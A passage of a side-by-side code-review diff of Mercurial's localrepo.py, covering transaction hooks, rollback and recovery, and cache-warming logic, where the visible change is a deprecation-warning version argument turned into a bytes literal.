2464 | self.svfs, | |
2465 | vfsmap, |
|
2465 | vfsmap, | |
2466 | b"journal", |
|
2466 | b"journal", | |
2467 | b"undo", |
|
2467 | b"undo", | |
2468 | aftertrans(renames), |
|
2468 | aftertrans(renames), | |
2469 | self.store.createmode, |
|
2469 | self.store.createmode, | |
2470 | validator=validate, |
|
2470 | validator=validate, | |
2471 | releasefn=releasefn, |
|
2471 | releasefn=releasefn, | |
2472 | checkambigfiles=_cachedfiles, |
|
2472 | checkambigfiles=_cachedfiles, | |
2473 | name=desc, |
|
2473 | name=desc, | |
2474 | ) |
|
2474 | ) | |
2475 | tr.changes[b'origrepolen'] = len(self) |
|
2475 | tr.changes[b'origrepolen'] = len(self) | |
2476 | tr.changes[b'obsmarkers'] = set() |
|
2476 | tr.changes[b'obsmarkers'] = set() | |
2477 | tr.changes[b'phases'] = [] |
|
2477 | tr.changes[b'phases'] = [] | |
2478 | tr.changes[b'bookmarks'] = {} |
|
2478 | tr.changes[b'bookmarks'] = {} | |
2479 |
|
2479 | |||
2480 | tr.hookargs[b'txnid'] = txnid |
|
2480 | tr.hookargs[b'txnid'] = txnid | |
2481 | tr.hookargs[b'txnname'] = desc |
|
2481 | tr.hookargs[b'txnname'] = desc | |
2482 | tr.hookargs[b'changes'] = tr.changes |
|
2482 | tr.hookargs[b'changes'] = tr.changes | |
2483 | # note: writing the fncache only during finalize mean that the file is |
|
2483 | # note: writing the fncache only during finalize mean that the file is | |
2484 | # outdated when running hooks. As fncache is used for streaming clone, |
|
2484 | # outdated when running hooks. As fncache is used for streaming clone, | |
2485 | # this is not expected to break anything that happen during the hooks. |
|
2485 | # this is not expected to break anything that happen during the hooks. | |
2486 | tr.addfinalize(b'flush-fncache', self.store.write) |
|
2486 | tr.addfinalize(b'flush-fncache', self.store.write) | |
2487 |
|
2487 | |||
2488 | def txnclosehook(tr2): |
|
2488 | def txnclosehook(tr2): | |
2489 | """To be run if transaction is successful, will schedule a hook run""" |
|
2489 | """To be run if transaction is successful, will schedule a hook run""" | |
2490 | # Don't reference tr2 in hook() so we don't hold a reference. |
|
2490 | # Don't reference tr2 in hook() so we don't hold a reference. | |
2491 | # This reduces memory consumption when there are multiple |
|
2491 | # This reduces memory consumption when there are multiple | |
2492 | # transactions per lock. This can likely go away if issue5045 |
|
2492 | # transactions per lock. This can likely go away if issue5045 | |
2493 | # fixes the function accumulation. |
|
2493 | # fixes the function accumulation. | |
2494 | hookargs = tr2.hookargs |
|
2494 | hookargs = tr2.hookargs | |
2495 |
|
2495 | |||
2496 | def hookfunc(unused_success): |
|
2496 | def hookfunc(unused_success): | |
2497 | repo = reporef() |
|
2497 | repo = reporef() | |
2498 | assert repo is not None # help pytype |
|
2498 | assert repo is not None # help pytype | |
2499 |
|
2499 | |||
2500 | if hook.hashook(repo.ui, b'txnclose-bookmark'): |
|
2500 | if hook.hashook(repo.ui, b'txnclose-bookmark'): | |
2501 | bmchanges = sorted(tr.changes[b'bookmarks'].items()) |
|
2501 | bmchanges = sorted(tr.changes[b'bookmarks'].items()) | |
2502 | for name, (old, new) in bmchanges: |
|
2502 | for name, (old, new) in bmchanges: | |
2503 | args = tr.hookargs.copy() |
|
2503 | args = tr.hookargs.copy() | |
2504 | args.update(bookmarks.preparehookargs(name, old, new)) |
|
2504 | args.update(bookmarks.preparehookargs(name, old, new)) | |
2505 | repo.hook( |
|
2505 | repo.hook( | |
2506 | b'txnclose-bookmark', |
|
2506 | b'txnclose-bookmark', | |
2507 | throw=False, |
|
2507 | throw=False, | |
2508 | **pycompat.strkwargs(args) |
|
2508 | **pycompat.strkwargs(args) | |
2509 | ) |
|
2509 | ) | |
2510 |
|
2510 | |||
2511 | if hook.hashook(repo.ui, b'txnclose-phase'): |
|
2511 | if hook.hashook(repo.ui, b'txnclose-phase'): | |
2512 | cl = repo.unfiltered().changelog |
|
2512 | cl = repo.unfiltered().changelog | |
2513 | phasemv = sorted( |
|
2513 | phasemv = sorted( | |
2514 | tr.changes[b'phases'], key=lambda r: r[0][0] |
|
2514 | tr.changes[b'phases'], key=lambda r: r[0][0] | |
2515 | ) |
|
2515 | ) | |
2516 | for revs, (old, new) in phasemv: |
|
2516 | for revs, (old, new) in phasemv: | |
2517 | for rev in revs: |
|
2517 | for rev in revs: | |
2518 | args = tr.hookargs.copy() |
|
2518 | args = tr.hookargs.copy() | |
2519 | node = hex(cl.node(rev)) |
|
2519 | node = hex(cl.node(rev)) | |
2520 | args.update(phases.preparehookargs(node, old, new)) |
|
2520 | args.update(phases.preparehookargs(node, old, new)) | |
2521 | repo.hook( |
|
2521 | repo.hook( | |
2522 | b'txnclose-phase', |
|
2522 | b'txnclose-phase', | |
2523 | throw=False, |
|
2523 | throw=False, | |
2524 | **pycompat.strkwargs(args) |
|
2524 | **pycompat.strkwargs(args) | |
2525 | ) |
|
2525 | ) | |
2526 |
|
2526 | |||
2527 | repo.hook( |
|
2527 | repo.hook( | |
2528 | b'txnclose', throw=False, **pycompat.strkwargs(hookargs) |
|
2528 | b'txnclose', throw=False, **pycompat.strkwargs(hookargs) | |
2529 | ) |
|
2529 | ) | |
2530 |
|
2530 | |||
2531 | repo = reporef() |
|
2531 | repo = reporef() | |
2532 | assert repo is not None # help pytype |
|
2532 | assert repo is not None # help pytype | |
2533 | repo._afterlock(hookfunc) |
|
2533 | repo._afterlock(hookfunc) | |
2534 |
|
2534 | |||
2535 | tr.addfinalize(b'txnclose-hook', txnclosehook) |
|
2535 | tr.addfinalize(b'txnclose-hook', txnclosehook) | |
2536 | # Include a leading "-" to make it happen before the transaction summary |
|
2536 | # Include a leading "-" to make it happen before the transaction summary | |
2537 | # reports registered via scmutil.registersummarycallback() whose names |
|
2537 | # reports registered via scmutil.registersummarycallback() whose names | |
2538 | # are 00-txnreport etc. That way, the caches will be warm when the |
|
2538 | # are 00-txnreport etc. That way, the caches will be warm when the | |
2539 | # callbacks run. |
|
2539 | # callbacks run. | |
2540 | tr.addpostclose(b'-warm-cache', self._buildcacheupdater(tr)) |
|
2540 | tr.addpostclose(b'-warm-cache', self._buildcacheupdater(tr)) | |
2541 |
|
2541 | |||
2542 | def txnaborthook(tr2): |
|
2542 | def txnaborthook(tr2): | |
2543 | """To be run if transaction is aborted""" |
|
2543 | """To be run if transaction is aborted""" | |
2544 | repo = reporef() |
|
2544 | repo = reporef() | |
2545 | assert repo is not None # help pytype |
|
2545 | assert repo is not None # help pytype | |
2546 | repo.hook( |
|
2546 | repo.hook( | |
2547 | b'txnabort', throw=False, **pycompat.strkwargs(tr2.hookargs) |
|
2547 | b'txnabort', throw=False, **pycompat.strkwargs(tr2.hookargs) | |
2548 | ) |
|
2548 | ) | |
2549 |
|
2549 | |||
2550 | tr.addabort(b'txnabort-hook', txnaborthook) |
|
2550 | tr.addabort(b'txnabort-hook', txnaborthook) | |
2551 | # avoid eager cache invalidation. in-memory data should be identical |
|
2551 | # avoid eager cache invalidation. in-memory data should be identical | |
2552 | # to stored data if transaction has no error. |
|
2552 | # to stored data if transaction has no error. | |
2553 | tr.addpostclose(b'refresh-filecachestats', self._refreshfilecachestats) |
|
2553 | tr.addpostclose(b'refresh-filecachestats', self._refreshfilecachestats) | |
2554 | self._transref = weakref.ref(tr) |
|
2554 | self._transref = weakref.ref(tr) | |
2555 | scmutil.registersummarycallback(self, tr, desc) |
|
2555 | scmutil.registersummarycallback(self, tr, desc) | |
2556 | return tr |
|
2556 | return tr | |
2557 |
|
2557 | |||
2558 | def _journalfiles(self): |
|
2558 | def _journalfiles(self): | |
2559 | return ( |
|
2559 | return ( | |
2560 | (self.svfs, b'journal'), |
|
2560 | (self.svfs, b'journal'), | |
2561 | (self.svfs, b'journal.narrowspec'), |
|
2561 | (self.svfs, b'journal.narrowspec'), | |
2562 | (self.vfs, b'journal.narrowspec.dirstate'), |
|
2562 | (self.vfs, b'journal.narrowspec.dirstate'), | |
2563 | (self.vfs, b'journal.dirstate'), |
|
2563 | (self.vfs, b'journal.dirstate'), | |
2564 | (self.vfs, b'journal.branch'), |
|
2564 | (self.vfs, b'journal.branch'), | |
2565 | (self.vfs, b'journal.desc'), |
|
2565 | (self.vfs, b'journal.desc'), | |
2566 | (bookmarks.bookmarksvfs(self), b'journal.bookmarks'), |
|
2566 | (bookmarks.bookmarksvfs(self), b'journal.bookmarks'), | |
2567 | (self.svfs, b'journal.phaseroots'), |
|
2567 | (self.svfs, b'journal.phaseroots'), | |
2568 | ) |
|
2568 | ) | |
2569 |
|
2569 | |||
2570 | def undofiles(self): |
|
2570 | def undofiles(self): | |
2571 | return [(vfs, undoname(x)) for vfs, x in self._journalfiles()] |
|
2571 | return [(vfs, undoname(x)) for vfs, x in self._journalfiles()] | |
2572 |
|
2572 | |||
2573 | @unfilteredmethod |
|
2573 | @unfilteredmethod | |
2574 | def _writejournal(self, desc): |
|
2574 | def _writejournal(self, desc): | |
2575 | self.dirstate.savebackup(None, b'journal.dirstate') |
|
2575 | self.dirstate.savebackup(None, b'journal.dirstate') | |
2576 | narrowspec.savewcbackup(self, b'journal.narrowspec.dirstate') |
|
2576 | narrowspec.savewcbackup(self, b'journal.narrowspec.dirstate') | |
2577 | narrowspec.savebackup(self, b'journal.narrowspec') |
|
2577 | narrowspec.savebackup(self, b'journal.narrowspec') | |
2578 | self.vfs.write( |
|
2578 | self.vfs.write( | |
2579 | b"journal.branch", encoding.fromlocal(self.dirstate.branch()) |
|
2579 | b"journal.branch", encoding.fromlocal(self.dirstate.branch()) | |
2580 | ) |
|
2580 | ) | |
2581 | self.vfs.write(b"journal.desc", b"%d\n%s\n" % (len(self), desc)) |
|
2581 | self.vfs.write(b"journal.desc", b"%d\n%s\n" % (len(self), desc)) | |
2582 | bookmarksvfs = bookmarks.bookmarksvfs(self) |
|
2582 | bookmarksvfs = bookmarks.bookmarksvfs(self) | |
2583 | bookmarksvfs.write( |
|
2583 | bookmarksvfs.write( | |
2584 | b"journal.bookmarks", bookmarksvfs.tryread(b"bookmarks") |
|
2584 | b"journal.bookmarks", bookmarksvfs.tryread(b"bookmarks") | |
2585 | ) |
|
2585 | ) | |
2586 | self.svfs.write(b"journal.phaseroots", self.svfs.tryread(b"phaseroots")) |
|
2586 | self.svfs.write(b"journal.phaseroots", self.svfs.tryread(b"phaseroots")) | |
2587 |
|
2587 | |||
2588 | def recover(self): |
|
2588 | def recover(self): | |
2589 | with self.lock(): |
|
2589 | with self.lock(): | |
2590 | if self.svfs.exists(b"journal"): |
|
2590 | if self.svfs.exists(b"journal"): | |
2591 | self.ui.status(_(b"rolling back interrupted transaction\n")) |
|
2591 | self.ui.status(_(b"rolling back interrupted transaction\n")) | |
2592 | vfsmap = { |
|
2592 | vfsmap = { | |
2593 | b'': self.svfs, |
|
2593 | b'': self.svfs, | |
2594 | b'plain': self.vfs, |
|
2594 | b'plain': self.vfs, | |
2595 | } |
|
2595 | } | |
2596 | transaction.rollback( |
|
2596 | transaction.rollback( | |
2597 | self.svfs, |
|
2597 | self.svfs, | |
2598 | vfsmap, |
|
2598 | vfsmap, | |
2599 | b"journal", |
|
2599 | b"journal", | |
2600 | self.ui.warn, |
|
2600 | self.ui.warn, | |
2601 | checkambigfiles=_cachedfiles, |
|
2601 | checkambigfiles=_cachedfiles, | |
2602 | ) |
|
2602 | ) | |
2603 | self.invalidate() |
|
2603 | self.invalidate() | |
2604 | return True |
|
2604 | return True | |
2605 | else: |
|
2605 | else: | |
2606 | self.ui.warn(_(b"no interrupted transaction available\n")) |
|
2606 | self.ui.warn(_(b"no interrupted transaction available\n")) | |
2607 | return False |
|
2607 | return False | |
2608 |
|
2608 | |||
2609 | def rollback(self, dryrun=False, force=False): |
|
2609 | def rollback(self, dryrun=False, force=False): | |
2610 | wlock = lock = dsguard = None |
|
2610 | wlock = lock = dsguard = None | |
2611 | try: |
|
2611 | try: | |
2612 | wlock = self.wlock() |
|
2612 | wlock = self.wlock() | |
2613 | lock = self.lock() |
|
2613 | lock = self.lock() | |
2614 | if self.svfs.exists(b"undo"): |
|
2614 | if self.svfs.exists(b"undo"): | |
2615 | dsguard = dirstateguard.dirstateguard(self, b'rollback') |
|
2615 | dsguard = dirstateguard.dirstateguard(self, b'rollback') | |
2616 |
|
2616 | |||
2617 | return self._rollback(dryrun, force, dsguard) |
|
2617 | return self._rollback(dryrun, force, dsguard) | |
2618 | else: |
|
2618 | else: | |
2619 | self.ui.warn(_(b"no rollback information available\n")) |
|
2619 | self.ui.warn(_(b"no rollback information available\n")) | |
2620 | return 1 |
|
2620 | return 1 | |
2621 | finally: |
|
2621 | finally: | |
2622 | release(dsguard, lock, wlock) |
|
2622 | release(dsguard, lock, wlock) | |
2623 |
|
2623 | |||
2624 | @unfilteredmethod # Until we get smarter cache management |
|
2624 | @unfilteredmethod # Until we get smarter cache management | |
2625 | def _rollback(self, dryrun, force, dsguard): |
|
2625 | def _rollback(self, dryrun, force, dsguard): | |
2626 | ui = self.ui |
|
2626 | ui = self.ui | |
2627 | try: |
|
2627 | try: | |
2628 | args = self.vfs.read(b'undo.desc').splitlines() |
|
2628 | args = self.vfs.read(b'undo.desc').splitlines() | |
2629 | (oldlen, desc, detail) = (int(args[0]), args[1], None) |
|
2629 | (oldlen, desc, detail) = (int(args[0]), args[1], None) | |
2630 | if len(args) >= 3: |
|
2630 | if len(args) >= 3: | |
2631 | detail = args[2] |
|
2631 | detail = args[2] | |
2632 | oldtip = oldlen - 1 |
|
2632 | oldtip = oldlen - 1 | |
2633 |
|
2633 | |||
2634 | if detail and ui.verbose: |
|
2634 | if detail and ui.verbose: | |
2635 | msg = _( |
|
2635 | msg = _( | |
2636 | b'repository tip rolled back to revision %d' |
|
2636 | b'repository tip rolled back to revision %d' | |
2637 | b' (undo %s: %s)\n' |
|
2637 | b' (undo %s: %s)\n' | |
2638 | ) % (oldtip, desc, detail) |
|
2638 | ) % (oldtip, desc, detail) | |
2639 | else: |
|
2639 | else: | |
2640 | msg = _( |
|
2640 | msg = _( | |
2641 | b'repository tip rolled back to revision %d (undo %s)\n' |
|
2641 | b'repository tip rolled back to revision %d (undo %s)\n' | |
2642 | ) % (oldtip, desc) |
|
2642 | ) % (oldtip, desc) | |
2643 | except IOError: |
|
2643 | except IOError: | |
2644 | msg = _(b'rolling back unknown transaction\n') |
|
2644 | msg = _(b'rolling back unknown transaction\n') | |
2645 | desc = None |
|
2645 | desc = None | |
2646 |
|
2646 | |||
2647 | if not force and self[b'.'] != self[b'tip'] and desc == b'commit': |
|
2647 | if not force and self[b'.'] != self[b'tip'] and desc == b'commit': | |
2648 | raise error.Abort( |
|
2648 | raise error.Abort( | |
2649 | _( |
|
2649 | _( | |
2650 | b'rollback of last commit while not checked out ' |
|
2650 | b'rollback of last commit while not checked out ' | |
2651 | b'may lose data' |
|
2651 | b'may lose data' | |
2652 | ), |
|
2652 | ), | |
2653 | hint=_(b'use -f to force'), |
|
2653 | hint=_(b'use -f to force'), | |
2654 | ) |
|
2654 | ) | |
2655 |
|
2655 | |||
2656 | ui.status(msg) |
|
2656 | ui.status(msg) | |
2657 | if dryrun: |
|
2657 | if dryrun: | |
2658 | return 0 |
|
2658 | return 0 | |
2659 |
|
2659 | |||
2660 | parents = self.dirstate.parents() |
|
2660 | parents = self.dirstate.parents() | |
2661 | self.destroying() |
|
2661 | self.destroying() | |
2662 | vfsmap = {b'plain': self.vfs, b'': self.svfs} |
|
2662 | vfsmap = {b'plain': self.vfs, b'': self.svfs} | |
2663 | transaction.rollback( |
|
2663 | transaction.rollback( | |
2664 | self.svfs, vfsmap, b'undo', ui.warn, checkambigfiles=_cachedfiles |
|
2664 | self.svfs, vfsmap, b'undo', ui.warn, checkambigfiles=_cachedfiles | |
2665 | ) |
|
2665 | ) | |
2666 | bookmarksvfs = bookmarks.bookmarksvfs(self) |
|
2666 | bookmarksvfs = bookmarks.bookmarksvfs(self) | |
2667 | if bookmarksvfs.exists(b'undo.bookmarks'): |
|
2667 | if bookmarksvfs.exists(b'undo.bookmarks'): | |
2668 | bookmarksvfs.rename( |
|
2668 | bookmarksvfs.rename( | |
2669 | b'undo.bookmarks', b'bookmarks', checkambig=True |
|
2669 | b'undo.bookmarks', b'bookmarks', checkambig=True | |
2670 | ) |
|
2670 | ) | |
2671 | if self.svfs.exists(b'undo.phaseroots'): |
|
2671 | if self.svfs.exists(b'undo.phaseroots'): | |
2672 | self.svfs.rename(b'undo.phaseroots', b'phaseroots', checkambig=True) |
|
2672 | self.svfs.rename(b'undo.phaseroots', b'phaseroots', checkambig=True) | |
2673 | self.invalidate() |
|
2673 | self.invalidate() | |
2674 |
|
2674 | |||
2675 | has_node = self.changelog.index.has_node |
|
2675 | has_node = self.changelog.index.has_node | |
2676 | parentgone = any(not has_node(p) for p in parents) |
|
2676 | parentgone = any(not has_node(p) for p in parents) | |
2677 | if parentgone: |
|
2677 | if parentgone: | |
2678 | # prevent dirstateguard from overwriting already restored one |
|
2678 | # prevent dirstateguard from overwriting already restored one | |
2679 | dsguard.close() |
|
2679 | dsguard.close() | |
2680 |
|
2680 | |||
2681 | narrowspec.restorebackup(self, b'undo.narrowspec') |
|
2681 | narrowspec.restorebackup(self, b'undo.narrowspec') | |
2682 | narrowspec.restorewcbackup(self, b'undo.narrowspec.dirstate') |
|
2682 | narrowspec.restorewcbackup(self, b'undo.narrowspec.dirstate') | |
2683 | self.dirstate.restorebackup(None, b'undo.dirstate') |
|
2683 | self.dirstate.restorebackup(None, b'undo.dirstate') | |
2684 | try: |
|
2684 | try: | |
2685 | branch = self.vfs.read(b'undo.branch') |
|
2685 | branch = self.vfs.read(b'undo.branch') | |
2686 | self.dirstate.setbranch(encoding.tolocal(branch)) |
|
2686 | self.dirstate.setbranch(encoding.tolocal(branch)) | |
2687 | except IOError: |
|
2687 | except IOError: | |
2688 | ui.warn( |
|
2688 | ui.warn( | |
2689 | _( |
|
2689 | _( | |
2690 | b'named branch could not be reset: ' |
|
2690 | b'named branch could not be reset: ' | |
2691 | b'current branch is still \'%s\'\n' |
|
2691 | b'current branch is still \'%s\'\n' | |
2692 | ) |
|
2692 | ) | |
2693 | % self.dirstate.branch() |
|
2693 | % self.dirstate.branch() | |
2694 | ) |
|
2694 | ) | |
2695 |
|
2695 | |||
2696 | parents = tuple([p.rev() for p in self[None].parents()]) |
|
2696 | parents = tuple([p.rev() for p in self[None].parents()]) | |
2697 | if len(parents) > 1: |
|
2697 | if len(parents) > 1: | |
2698 | ui.status( |
|
2698 | ui.status( | |
2699 | _( |
|
2699 | _( | |
2700 | b'working directory now based on ' |
|
2700 | b'working directory now based on ' | |
2701 | b'revisions %d and %d\n' |
|
2701 | b'revisions %d and %d\n' | |
2702 | ) |
|
2702 | ) | |
2703 | % parents |
|
2703 | % parents | |
2704 | ) |
|
2704 | ) | |
2705 | else: |
|
2705 | else: | |
2706 | ui.status( |
|
2706 | ui.status( | |
2707 | _(b'working directory now based on revision %d\n') % parents |
|
2707 | _(b'working directory now based on revision %d\n') % parents | |
2708 | ) |
|
2708 | ) | |
2709 | mergestatemod.mergestate.clean(self) |
|
2709 | mergestatemod.mergestate.clean(self) | |
2710 |
|
2710 | |||
2711 | # TODO: if we know which new heads may result from this rollback, pass |
|
2711 | # TODO: if we know which new heads may result from this rollback, pass | |
2712 | # them to destroy(), which will prevent the branchhead cache from being |
|
2712 | # them to destroy(), which will prevent the branchhead cache from being | |
2713 | # invalidated. |
|
2713 | # invalidated. | |
2714 | self.destroyed() |
|
2714 | self.destroyed() | |
2715 | return 0 |
|
2715 | return 0 | |
2716 |
|
2716 | |||
2717 | def _buildcacheupdater(self, newtransaction): |
|
2717 | def _buildcacheupdater(self, newtransaction): | |
2718 | """called during transaction to build the callback updating cache |
|
2718 | """called during transaction to build the callback updating cache | |
2719 |
|
2719 | |||
2720 | Lives on the repository to help extension who might want to augment |
|
2720 | Lives on the repository to help extension who might want to augment | |
2721 | this logic. For this purpose, the created transaction is passed to the |
|
2721 | this logic. For this purpose, the created transaction is passed to the | |
2722 | method. |
|
2722 | method. | |
2723 | """ |
|
2723 | """ | |
2724 | # we must avoid cyclic reference between repo and transaction. |
|
2724 | # we must avoid cyclic reference between repo and transaction. | |
2725 | reporef = weakref.ref(self) |
|
2725 | reporef = weakref.ref(self) | |
2726 |
|
2726 | |||
2727 | def updater(tr): |
|
2727 | def updater(tr): | |
2728 | repo = reporef() |
|
2728 | repo = reporef() | |
2729 | assert repo is not None # help pytype |
|
2729 | assert repo is not None # help pytype | |
2730 | repo.updatecaches(tr) |
|
2730 | repo.updatecaches(tr) | |
2731 |
|
2731 | |||
2732 | return updater |
|
2732 | return updater | |
2733 |
|
2733 | |||
2734 | @unfilteredmethod |
|
2734 | @unfilteredmethod | |
2735 | def updatecaches(self, tr=None, full=False, caches=None): |
|
2735 | def updatecaches(self, tr=None, full=False, caches=None): | |
2736 | """warm appropriate caches |
|
2736 | """warm appropriate caches | |
2737 |
|
2737 | |||
2738 | If this function is called after a transaction closed. The transaction |
|
2738 | If this function is called after a transaction closed. The transaction | |
2739 | will be available in the 'tr' argument. This can be used to selectively |
|
2739 | will be available in the 'tr' argument. This can be used to selectively | |
2740 | update caches relevant to the changes in that transaction. |
|
2740 | update caches relevant to the changes in that transaction. | |
2741 |
|
2741 | |||
2742 | If 'full' is set, make sure all caches the function knows about have |
|
2742 | If 'full' is set, make sure all caches the function knows about have | |
2743 | up-to-date data. Even the ones usually loaded more lazily. |
|
2743 | up-to-date data. Even the ones usually loaded more lazily. | |
2744 |
|
2744 | |||
2745 | The `full` argument can take a special "post-clone" value. In this case |
|
2745 | The `full` argument can take a special "post-clone" value. In this case | |
2746 | the cache warming is made after a clone and of the slower cache might |
|
2746 | the cache warming is made after a clone and of the slower cache might | |
2747 | be skipped, namely the `.fnodetags` one. This argument is 5.8 specific |
|
2747 | be skipped, namely the `.fnodetags` one. This argument is 5.8 specific | |
2748 | as we plan for a cleaner way to deal with this for 5.9. |
|
2748 | as we plan for a cleaner way to deal with this for 5.9. | |
2749 | """ |
|
2749 | """ | |
2750 | if tr is not None and tr.hookargs.get(b'source') == b'strip': |
|
2750 | if tr is not None and tr.hookargs.get(b'source') == b'strip': | |
2751 | # During strip, many caches are invalid but |
|
2751 | # During strip, many caches are invalid but | |
2752 | # later call to `destroyed` will refresh them. |
|
2752 | # later call to `destroyed` will refresh them. | |
2753 | return |
|
2753 | return | |
2754 |
|
2754 | |||
2755 | unfi = self.unfiltered() |
|
2755 | unfi = self.unfiltered() | |
2756 |
|
2756 | |||
2757 | if full: |
|
2757 | if full: | |
2758 | msg = ( |
|
2758 | msg = ( | |
2759 | "`full` argument for `repo.updatecaches` is deprecated\n" |
|
2759 | "`full` argument for `repo.updatecaches` is deprecated\n" | |
2760 | "(use `caches=repository.CACHE_ALL` instead)" |
|
2760 | "(use `caches=repository.CACHE_ALL` instead)" | |
2761 | ) |
|
2761 | ) | |
2762 | self.ui.deprecwarn(msg, "5.9") |
|
2762 | self.ui.deprecwarn(msg, b"5.9") | |
2763 | caches = repository.CACHES_ALL |
|
2763 | caches = repository.CACHES_ALL | |
2764 | if full == b"post-clone": |
|
2764 | if full == b"post-clone": | |
2765 | caches = repository.CACHES_POST_CLONE |
|
2765 | caches = repository.CACHES_POST_CLONE | |
2766 | caches = repository.CACHES_ALL |
|
2766 | caches = repository.CACHES_ALL | |
2767 | elif caches is None: |
|
2767 | elif caches is None: | |
2768 | caches = repository.CACHES_DEFAULT |
|
2768 | caches = repository.CACHES_DEFAULT | |
2769 |
|
2769 | |||
2770 | if repository.CACHE_BRANCHMAP_SERVED in caches: |
|
2770 | if repository.CACHE_BRANCHMAP_SERVED in caches: | |
2771 | if tr is None or tr.changes[b'origrepolen'] < len(self): |
|
2771 | if tr is None or tr.changes[b'origrepolen'] < len(self): | |
2772 | # accessing the 'served' branchmap should refresh all the others, |
|
2772 | # accessing the 'served' branchmap should refresh all the others, | |
2773 | self.ui.debug(b'updating the branch cache\n') |
|
2773 | self.ui.debug(b'updating the branch cache\n') | |
2774 | self.filtered(b'served').branchmap() |
|
2774 | self.filtered(b'served').branchmap() | |
2775 | self.filtered(b'served.hidden').branchmap() |
|
2775 | self.filtered(b'served.hidden').branchmap() | |
2776 |
|
2776 | |||
2777 | if repository.CACHE_CHANGELOG_CACHE in caches: |
|
2777 | if repository.CACHE_CHANGELOG_CACHE in caches: | |
2778 | self.changelog.update_caches(transaction=tr) |
|
2778 | self.changelog.update_caches(transaction=tr) | |
2779 |
|
2779 | |||
2780 | if repository.CACHE_MANIFESTLOG_CACHE in caches: |
|
2780 | if repository.CACHE_MANIFESTLOG_CACHE in caches: | |
2781 | self.manifestlog.update_caches(transaction=tr) |
|
2781 | self.manifestlog.update_caches(transaction=tr) | |
2782 |
|
2782 | |||
2783 | if repository.CACHE_REV_BRANCH in caches: |
|
2783 | if repository.CACHE_REV_BRANCH in caches: | |
2784 | rbc = unfi.revbranchcache() |
|
2784 | rbc = unfi.revbranchcache() | |
2785 | for r in unfi.changelog: |
|
2785 | for r in unfi.changelog: | |
2786 | rbc.branchinfo(r) |
|
2786 | rbc.branchinfo(r) | |
2787 | rbc.write() |
|
2787 | rbc.write() | |
2788 |
|
2788 | |||
2789 | if repository.CACHE_FULL_MANIFEST in caches: |
|
2789 | if repository.CACHE_FULL_MANIFEST in caches: | |
2790 | # ensure the working copy parents are in the manifestfulltextcache |
|
2790 | # ensure the working copy parents are in the manifestfulltextcache | |
2791 | for ctx in self[b'.'].parents(): |
|
2791 | for ctx in self[b'.'].parents(): | |
2792 | ctx.manifest() # accessing the manifest is enough |
|
2792 | ctx.manifest() # accessing the manifest is enough | |
2793 |
|
2793 | |||
2794 | if repository.CACHE_FILE_NODE_TAGS in caches: |
|
2794 | if repository.CACHE_FILE_NODE_TAGS in caches: | |
2795 | # accessing fnode cache warms the cache |
|
2795 | # accessing fnode cache warms the cache | |
2796 | tagsmod.fnoderevs(self.ui, unfi, unfi.changelog.revs()) |
|
2796 | tagsmod.fnoderevs(self.ui, unfi, unfi.changelog.revs()) | |
2797 |
|
2797 | |||
2798 | if repository.CACHE_TAGS_DEFAULT in caches: |
|
2798 | if repository.CACHE_TAGS_DEFAULT in caches: | |
2799 | # accessing tags warm the cache |
|
2799 | # accessing tags warm the cache | |
2800 | self.tags() |
|
2800 | self.tags() | |
2801 | if repository.CACHE_TAGS_SERVED in caches: |
|
2801 | if repository.CACHE_TAGS_SERVED in caches: | |
2802 | self.filtered(b'served').tags() |
|
2802 | self.filtered(b'served').tags() | |
2803 |
|
2803 | |||
2804 | if repository.CACHE_BRANCHMAP_ALL in caches: |
|
2804 | if repository.CACHE_BRANCHMAP_ALL in caches: | |
2805 | # The CACHE_BRANCHMAP_ALL updates lazily-loaded caches immediately, |
|
2805 | # The CACHE_BRANCHMAP_ALL updates lazily-loaded caches immediately, | |
2806 | # so we're forcing a write to cause these caches to be warmed up |
|
2806 | # so we're forcing a write to cause these caches to be warmed up | |
2807 | # even if they haven't explicitly been requested yet (if they've |
|
2807 | # even if they haven't explicitly been requested yet (if they've | |
2808 | # never been used by hg, they won't ever have been written, even if |
|
2808 | # never been used by hg, they won't ever have been written, even if | |
2809 | # they're a subset of another kind of cache that *has* been used). |
|
2809 | # they're a subset of another kind of cache that *has* been used). | |
2810 | for filt in repoview.filtertable.keys(): |
|
2810 | for filt in repoview.filtertable.keys(): | |
2811 | filtered = self.filtered(filt) |
|
2811 | filtered = self.filtered(filt) | |
2812 | filtered.branchmap().write(filtered) |
|
2812 | filtered.branchmap().write(filtered) | |
2813 |
|
2813 | |||
2814 | def invalidatecaches(self): |
|
2814 | def invalidatecaches(self): | |
2815 |
|
2815 | |||
2816 | if '_tagscache' in vars(self): |
|
2816 | if '_tagscache' in vars(self): | |
2817 | # can't use delattr on proxy |
|
2817 | # can't use delattr on proxy | |
2818 | del self.__dict__['_tagscache'] |
|
2818 | del self.__dict__['_tagscache'] | |
2819 |
|
2819 | |||
2820 | self._branchcaches.clear() |
|
2820 | self._branchcaches.clear() | |
2821 | self.invalidatevolatilesets() |
|
2821 | self.invalidatevolatilesets() | |
2822 | self._sparsesignaturecache.clear() |
|
2822 | self._sparsesignaturecache.clear() | |
2823 |
|
2823 | |||
2824 | def invalidatevolatilesets(self): |
|
2824 | def invalidatevolatilesets(self): | |
2825 | self.filteredrevcache.clear() |
|
2825 | self.filteredrevcache.clear() | |
2826 | obsolete.clearobscaches(self) |
|
2826 | obsolete.clearobscaches(self) | |
2827 | self._quick_access_changeid_invalidate() |
|
2827 | self._quick_access_changeid_invalidate() | |
2828 |
|
2828 | |||
2829 | def invalidatedirstate(self): |
|
2829 | def invalidatedirstate(self): | |
2830 | """Invalidates the dirstate, causing the next call to dirstate |
|
2830 | """Invalidates the dirstate, causing the next call to dirstate | |
2831 | to check if it was modified since the last time it was read, |
|
2831 | to check if it was modified since the last time it was read, | |
2832 | rereading it if it has. |
|
2832 | rereading it if it has. | |
2833 |
|
2833 | |||
2834 | This is different to dirstate.invalidate() that it doesn't always |
|
2834 | This is different to dirstate.invalidate() that it doesn't always | |
2835 | rereads the dirstate. Use dirstate.invalidate() if you want to |
|
2835 | rereads the dirstate. Use dirstate.invalidate() if you want to | |
2836 | explicitly read the dirstate again (i.e. restoring it to a previous |
|
2836 | explicitly read the dirstate again (i.e. restoring it to a previous | |
2837 | known good state).""" |
|
2837 | known good state).""" | |
2838 | if hasunfilteredcache(self, 'dirstate'): |
|
2838 | if hasunfilteredcache(self, 'dirstate'): | |
2839 | for k in self.dirstate._filecache: |
|
2839 | for k in self.dirstate._filecache: | |
2840 | try: |
|
2840 | try: | |
2841 | delattr(self.dirstate, k) |
|
2841 | delattr(self.dirstate, k) | |
2842 | except AttributeError: |
|
